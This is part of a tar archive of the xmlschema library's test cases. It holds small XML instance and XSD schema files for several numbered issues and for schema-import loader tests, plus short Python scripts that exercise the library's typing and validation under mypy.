</xs:schema>��������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_414/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022017�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_414/issue_414.xml�������������������������������������0000664�0000000�0000000�00000000251�15020401055�0024257�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_414.xsd">abc<elem/>xyz</root>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_414/issue_414.xsd�������������������������������������0000664�0000000�0000000�00000000654�15020401055�0024264�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="mixedElement" mixed="true"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem"/> </xs:choice> </xs:complexType> <xs:element name="root"> <xs:complexType> <xs:complexContent> <xs:extension base="mixedElement"/> </xs:complexContent> </xs:complexType> </xs:element> </xs:schema> ������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_414/issue_414b.xsd������������������������������������0000664�0000000�0000000�00000000672�15020401055�0024426�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="mixedElement" mixed="true"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem"/> </xs:choice> </xs:complexType> <xs:element name="root"> <xs:complexType mixed="false"> <xs:complexContent> <xs:extension base="mixedElement"/> </xs:complexContent> </xs:complexType> </xs:element> </xs:schema> ����������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_414/issue_414ne-inv1.xsd������������������������������0000664�0000000�0000000�00000001115�15020401055�0025453�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="mixedElement" mixed="true"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem"/> </xs:choice> </xs:complexType> <xs:element name="root"> <xs:complexType mixed="false"> <!-- Invalid because it's not empty --> <xs:complexContent> <xs:extension base="mixedElement"> <xs:choice> <xs:element name="elem1"/> </xs:choice> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_414/issue_414ne-inv2.xsd������������������������������0000664�0000000�0000000�00000001031�15020401055�0025451�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="mixedElement" mixed="true"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem"/> </xs:choice> </xs:complexType> <xs:element name="root"> <xs:complexType> <xs:complexContent> <xs:extension base="mixedElement"> <xs:choice> <xs:element name="elem1"/> </xs:choice> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_414/issue_414ne.xsd�����������������������������������0000664�0000000�0000000�00000001044�15020401055�0024601�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="mixedElement" mixed="true"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem"/> </xs:choice> </xs:complexType> <xs:element name="root"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="mixedElement"> <xs:choice> <xs:element name="elem1"/> </xs:choice> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_417/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022022�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_417/issue_417.xml�������������������������������������0000664�0000000�0000000�00000000226�15020401055�0024267�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<subgroupMember xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_417.xsd">1</subgroupMember>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_417/issue_417.xsd�������������������������������������0000664�0000000�0000000�00000000377�15020401055�0024274�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="abstractSubgroupHead" type="xs:integer" abstract="true"/> <xs:element name="subgroupMember" type="xs:positiveInteger" substitutionGroup="abstractSubgroupHead"/> </xs:schema>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_418/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022023�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_418/issue_418-invalid.xml�����������������������������0000664�0000000�0000000�00000000740�15020401055�0025716�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <mqttservices xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_418.xsd" active="true"> <events> <event trigger="TS01" command="powu56.py" parameters="-on -ports '1,2,3'" /> <event trigger="TS08" command="powu56.py" parameters="-off -ports '1,2,3'"/> <event trigger="TS06" attime="2:00" command="powu56.py" parameters="-off -ports '1,2,3'"/> </events> </mqttservices> ��������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_418/issue_418.xml�������������������������������������0000664�0000000�0000000�00000000721�15020401055�0024271�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <mqttservices xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_418.xsd" active="true"> <events> <event trigger="TS01" command="powu56.py" parameters="-on -ports '1,2,3'" /> <event trigger="TS08" command="powu56.py" parameters="-off -ports '1,2,3'"/> <event attime="2:00" command="powu56.py" parameters="-off -ports '1,2,3'"/> </events> </mqttservices> �����������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_418/issue_418.xsd�������������������������������������0000664�0000000�0000000�00000002216�15020401055�0024270�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema attributeFormDefault="unqualified" elementFormDefault="qualified" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="eventType"> <xs:simpleContent> <xs:extension base="xs:string"> <xs:attribute type="xs:string" name="trigger"/> <xs:attribute type="xs:string" name="attime"/> <xs:attribute type="xs:string" name="command" use="optional"/> <xs:attribute type="xs:string" name="parameters" use="optional"/> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:complexType name="eventsType"> <xs:sequence> <xs:element type="eventType" name="event" maxOccurs="unbounded" minOccurs="0"> <xs:key name="attributeKey"> <xs:selector xpath="."/> <xs:field xpath="@trigger|@attime"/> </xs:key> </xs:element> </xs:sequence> </xs:complexType> <xs:complexType name="mqttservicesType"> <xs:sequence> <xs:element type="eventsType" name="events"/> </xs:sequence> <xs:attribute type="xs:string" name="active"/> </xs:complexType> <xs:element name="mqttservices" type="mqttservicesType"/> </xs:schema> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_424/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022020�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_424/issue_424.xml�������������������������������������0000664�0000000�0000000�00000000264�15020401055�0024265�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<parentTag> <optionalTagA> </optionalTagA> <optionalTagA> </optionalTagA> <optionalTagB> </optionalTagB> <optionalTagB> </optionalTagB> </parentTag>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_424/issue_424.xsd�������������������������������������0000664�0000000�0000000�00000001071�15020401055�0024260�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> <xs:element name="parentTag"> <xs:complexType> <xs:sequence> <xs:element ref="optionalTagA" minOccurs="0" maxOccurs="1"/> <xs:element ref="optionalTagB" minOccurs="0" maxOccurs="1"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="optionalTagA"> </xs:element> <xs:element name="optionalTagB"> </xs:element> </xs:schema>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_437/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022024�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_437/issue_437-1.xml�����������������������������������0000664�0000000�0000000�00000000426�15020401055�0024433�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <PlexilPlan xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_437.xsd"> <Node NodeType="Empty"> <Comment> This is a comment. </Comment> <NodeId>One</NodeId> </Node> </PlexilPlan>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_437/issue_437-2.xml�����������������������������������0000664�0000000�0000000�00000000346�15020401055�0024435�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <PlexilPlan xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_437.xsd"> <Node NodeType="Empty"> <NodeId>One</NodeId> </Node> </PlexilPlan>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_437/issue_437.xsd�������������������������������������0000664�0000000�0000000�00000004202�15020401055�0024267�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xs:schema PUBLIC "-//W3C//DTD XSD 1.1//EN" "http://www.w3.org/2009/XMLSchema/XMLSchema.dtd" > <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xml="http://www.w3.org/XML/1998/namespace" xml:lang="en"> <xs:attribute name="NodeType"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="NodeList"/> <xs:enumeration value="Empty"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:element name="Comment" type="xs:string"/> <!-- These are elements which may be omitted from a valid Node --> <xs:group name="ActionOptions"> <xs:all> <xs:element ref="Comment" minOccurs="0"/> </xs:all> </xs:group> <xs:element name="NodeId"> <xs:complexType> <xs:simpleContent> <xs:extension base="xs:NCName"> <xs:attribute name="generated" type="xs:boolean" /> </xs:extension> </xs:simpleContent> </xs:complexType> </xs:element> <xs:element name="NodeList"> <xs:complexType> <xs:sequence> <xs:group ref="ActionGroup" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="NodeBody"> <xs:complexType> <xs:choice> <xs:element ref="NodeList"/> </xs:choice> </xs:complexType> </xs:element> <xs:complexType name="NodeActionType"> <xs:all> <xs:group ref="ActionOptions"/> <xs:element ref="NodeId"/> <xs:element ref="NodeBody" minOccurs="0"/> </xs:all> <xs:attribute ref="NodeType" use="required"/> </xs:complexType> <xs:element name="Node" type="NodeActionType" /> <xs:group name="ActionGroup"> <xs:choice> <xs:element ref="Node"/> </xs:choice> </xs:group> <xs:element name="PlexilPlan"> <xs:complexType> <xs:sequence> <xs:group ref="ActionGroup"/> </xs:sequence> <!-- Attempt to imitate rncfix --> <xs:anyAttribute namespace="http://www.w3.org/2001/XMLSchema-instance" processContents="skip"/> </xs:complexType> </xs:element> </xs:schema>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/loaders/�����������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0020415�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/loaders/alt/�������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0021175�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/loaders/alt/other1.xsd���������������������������������������������0000664�0000000�0000000�00000000572�15020401055�0023123�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/other-ns" targetNamespace="http://xmlschema.test/other-ns"> <xs:import namespace="http://xmlschema.test/ns" schemaLocation="schema1.xsd"/> <xs:simpleType name="otherType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/loaders/other1.xsd�������������������������������������������������0000664�0000000�0000000�00000000572�15020401055�0022343�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/other-ns" targetNamespace="http://xmlschema.test/other-ns"> <xs:import namespace="http://xmlschema.test/ns" schemaLocation="schema1.xsd"/> <xs:simpleType name="otherType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/loaders/other2.xsd�������������������������������������������������0000664�0000000�0000000�00000000451�15020401055�0022340�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/other-ns" targetNamespace="http://xmlschema.test/other-ns"> <xs:simpleType name="otherType2"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/loaders/other3.xsd�������������������������������������������������0000664�0000000�0000000�00000000450�15020401055�0022340�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/other-ns" targetNamespace="http://xmlschema.test/other-ns"> <xs:simpleType name="otherType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/loaders/other5.xsd�������������������������������������������������0000664�0000000�0000000�00000000643�15020401055�0022346�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- Invalid import (same namespace of the original schema). --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns"> <xs:import schemaLocation="../features/namespaces/chameleon1.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ���������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/loaders/schema1.xsd������������������������������������������������0000664�0000000�0000000�00000001043�15020401055�0022454�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- Import the same schema twice from different locations with a redef collision. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns"> <xs:import namespace="http://xmlschema.test/other-ns" schemaLocation="other1.xsd"/> <xs:import namespace="http://xmlschema.test/other-ns" schemaLocation="alt/other1.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/loaders/schema2.xsd������������������������������������������������0000664�0000000�0000000�00000001037�15020401055�0022460�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- Import of the origin schema from a different location with a redef collision. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns"> <xs:import namespace="http://xmlschema.test/other-ns" schemaLocation="other1.xsd"/> <xs:import namespace="http://xmlschema.test/other-ns" schemaLocation="other2.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/loaders/schema3.xsd������������������������������������������������0000664�0000000�0000000�00000001040�15020401055�0022453�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- Import the same namespace twice from different locations, no redef collisions. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns"> <xs:import namespace="http://xmlschema.test/other-ns" schemaLocation="other3.xsd"/> <xs:import namespace="http://xmlschema.test/other-ns" schemaLocation="other2.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/loaders/schema4.xsd������������������������������������������������0000664�0000000�0000000�00000000656�15020401055�0022470�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- Invalid import (same namespace of the original schema). --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns"> <xs:import namespace="http://xmlschema.test/ns" schemaLocation="schema2.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ����������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/loaders/schema5.xsd������������������������������������������������0000664�0000000�0000000�00000000622�15020401055�0022462�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- Invalid import (no namespace but imported has a targetNamespace). --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns"> <xs:import schemaLocation="other5.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ��������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/mypy/��������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017762�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/mypy/extra_validator.py��������������������������������������������0000664�0000000�0000000�00000001617�15020401055�0023531�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������from typing import Iterator, Optional from xml.etree import ElementTree import xmlschema document = ElementTree.fromstring("<id>http://example.org</id>") schema = xmlschema.XMLSchema11("""\ <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <xsd:element name="id" type="xsd:anyURI" /> </xsd:schema> """) def extra_validator1( element: ElementTree.Element, xsd_element: xmlschema.XsdElement, ) -> Optional[Iterator[xmlschema.XMLSchemaValidationError]]: _ = element.tag, xsd_element.type.name return None schema.validate(document, extra_validator=extra_validator1) def extra_validator2( element: ElementTree.Element, xsd_element: xmlschema.XsdElement, ) -> Optional[Iterator[xmlschema.XMLSchemaValidationError]]: _ = element.tag, xsd_element.type.name return None schema.validate(document, extra_validator=extra_validator2) �����������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/mypy/protocols.py��������������������������������������������������0000775�0000000�0000000�00000006426�15020401055�0022373�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python def main() -> None: from typing import Union, cast, Any from xmlschema import XMLSchema, XMLSchema11 from xmlschema.validators import XsdSimpleType, XsdComplexType, \ XsdAnyElement from xmlschema.xpath import XPathElement from elementpath.protocols import XsdTypeProtocol, XsdElementProtocol, \ XsdAttributeProtocol, GlobalMapsProtocol, XsdSchemaProtocol, XsdAttributeGroupProtocol ### # Test protocols for XSD type annotations BaseXsdType = Union[XsdSimpleType, XsdComplexType] class Base: xsd_type: XsdTypeProtocol def __init__(self, xsd_type: XsdTypeProtocol) -> None: self.xsd_type = xsd_type class Derived(Base): def __init__(self, xsd_type: BaseXsdType) -> None: super().__init__(xsd_type) def check_elem_type(xsd_element: XsdElementProtocol) -> None: assert xsd_element.type is not None def check_any_elem_type(xsd_element: XsdElementProtocol) -> None: assert xsd_element.type is None def check_attr_type(xsd_attribute: XsdAttributeProtocol) -> bool: return xsd_attribute.type is not None def check_simple_type(xsd_type: XsdTypeProtocol) -> bool: return xsd_type.is_simple() def check_maps(maps: GlobalMapsProtocol) -> bool: return maps is not None def check_xsd_schema(s: XsdSchemaProtocol) -> None: assert s is not None def get_attribute(attributes: XsdAttributeGroupProtocol, name: str) -> Any: return attributes.get(name) schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem1" type="xs:string"/> <xs:element name="elem2" type="xs:int"/> <xs:simpleType name="type1"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:group name="group1"> <xs:sequence> <xs:any processContents="lax"/> </xs:sequence> </xs:group> <xs:attribute name="attr1" type="xs:int"/> <xs:attribute name="attr2" type="xs:float"/> </xs:schema>""") check_any_elem_type(cast(XsdAnyElement, schema.groups['group1'][0])) check_elem_type(schema.elements['elem1']) check_maps(schema.maps) check_xsd_schema(schema) a = cast(BaseXsdType, schema.types['type1']) check_simple_type(a) b = schema.attributes['attr1'] check_attr_type(b) check_elem_type(XPathElement('elem4', xsd_type=a)) attribute_group = schema.maps.attribute_groups['{http://www.w3.org/2001/XMLSchema}occurs'] if not isinstance(attribute_group, tuple): get_attribute(attribute_group, 'foo') schema11 = XMLSchema11(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem1" type="xs:string"/> <xs:complexType name="type1"> <xs:sequence> <xs:any processContents="lax"/> </xs:sequence> <xs:assert test="true()"/> </xs:complexType> </xs:schema>""") type1 = cast(XsdComplexType, schema11.types['type1']) if type1.assertions: assertion = type1.assertions[0] check_elem_type(assertion) if __name__ == '__main__': main() ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/mypy/schema_source.py����������������������������������������������0000775�0000000�0000000�00000003561�15020401055�0023164�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python def main() -> None: import io from pathlib import Path from typing import cast, IO from xml.etree import ElementTree import xmlschema case_dir = Path(__file__).parent.parent col_xsd = case_dir.joinpath('examples/collection/collection.xsd') schema = xmlschema.XMLSchema10(str(col_xsd)) print(f"{schema} from filepath") with open(str(col_xsd)) as fp: schema = xmlschema.XMLSchema10(fp) print(f"{schema} from open(filepath)") with open(str(col_xsd), mode='rb') as bfp: schema = xmlschema.XMLSchema10(bfp) print(f"{schema} from open(filepath, mode='rb'), mode binary") with col_xsd.open() as fp: schema = xmlschema.XMLSchema10(cast(IO[str], fp)) print(f"{schema} from IO[str]") with col_xsd.open(mode='rb') as bfp: schema = xmlschema.XMLSchema10(cast(IO[str], bfp)) print(f"{schema} from IO[bytes]") with col_xsd.open() as fp: schema = xmlschema.XMLSchema10(io.StringIO(fp.read())) print(f"{schema} from io.StringIO()") with col_xsd.open(mode='rb') as bfp: schema = xmlschema.XMLSchema10(io.BytesIO(bfp.read())) print(f"{schema} from io.BytesIO()") xt = ElementTree.parse(col_xsd) namespaces = { 'xs': "http://www.w3.org/2001/XMLSchema", '': "http://example.com/ns/collection", } schema = xmlschema.XMLSchema10(xt, build=False) schema.namespaces.update(namespaces) # FIXME? Provide an init argument? schema.build() print(f"{schema} from ElementTree.ElementTree") schema = xmlschema.XMLSchema10(xt.getroot(), build=False) schema.namespaces.update(namespaces) schema.build() print(f"{schema} from ElementTree.Element") schema = xmlschema.XMLSchema10(xmlschema.XMLResource(str(col_xsd))) print(f"{schema} from xmlschema.XMLResource()") if __name__ == '__main__': main() �����������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/mypy/simple_types.py�����������������������������������������������0000775�0000000�0000000�00000001206�15020401055�0023053�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python def main() -> None: from pathlib import Path import xmlschema from xmlschema.names import XSD_ENUMERATION from xmlschema.validators import XsdAtomicRestriction case_dir = Path(__file__).parent.parent st_xsd = case_dir.joinpath('features/decoder/simple-types.xsd') schema = xmlschema.XMLSchema10(str(st_xsd)) xsd_type = schema.types['enum1'] if isinstance(xsd_type, XsdAtomicRestriction): assert xsd_type.enumeration == ['one', 'two', 'three'] facet = xsd_type.get_facet(XSD_ENUMERATION) print(facet) xsd_type.is_datetime() if __name__ == '__main__': main() 